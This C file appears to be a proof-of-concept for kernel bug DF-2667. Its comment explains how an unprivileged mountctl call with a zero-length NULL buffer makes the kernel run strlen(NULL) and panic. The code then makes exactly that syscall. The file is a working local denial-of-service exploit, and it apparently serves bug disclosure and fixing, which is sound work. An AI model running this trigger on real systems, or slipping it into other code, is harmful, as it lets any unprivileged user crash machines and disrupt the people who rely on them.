DF-2667 / mountctl_null.c
/* * DF-2667 - unprivileged kernel NULL-pointer dereference via mountctl(2) * * sys_mountctl() skips the privilege check for op == MOUNTCTL_MOUNTFLAGS * (sys/kern/vfs_syscalls.c:1281). With buflen == 0 the result buffer is * left NULL (sys/kern/vfs_syscalls.c:1311-1312); the flag-formatting * helper then executes strlen(NULL) *before* its degenerate-length * guard (sys/kern/vfs_subr.c:1996 vs :2003-2006) -> page fault at * address 0 -> kernel panic. * * Run as an *unprivileged* user. Expected: kernel panic * ("Fatal page fault ... fault virtual address = 0x0"). */ #include <sys/param.h> #include <sys/mountctl.h> #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #ifndef SYS_mountctl #define SYS_mountctl 468 #endif #ifndef MOUNTCTL_MOUNTFLAGS #define MOUNTCTL_MOUNTFLAGS 18 #endif int main(void) { long rv; printf("DF-2667: uid=%d euid=%d, calling mountctl(\"/\", " "MOUNTCTL_MOUNTFLAGS, fd=-1, ctl=NULL, ctllen=0, buf=NULL, " "buflen=0)\n", getuid(), geteuid()); fflush(stdout); /* * int mountctl(const char *path, int op, int fd, * const void *ctl, int ctllen, void *buf, int buflen); */ rv = syscall(SYS_mountctl, "/", MOUNTCTL_MOUNTFLAGS, -1, NULL, 0, NULL, 0); /* not reached when the kernel panics */ printf("DF-2667: mountctl returned %ld (no crash)\n", rv); return (0); } |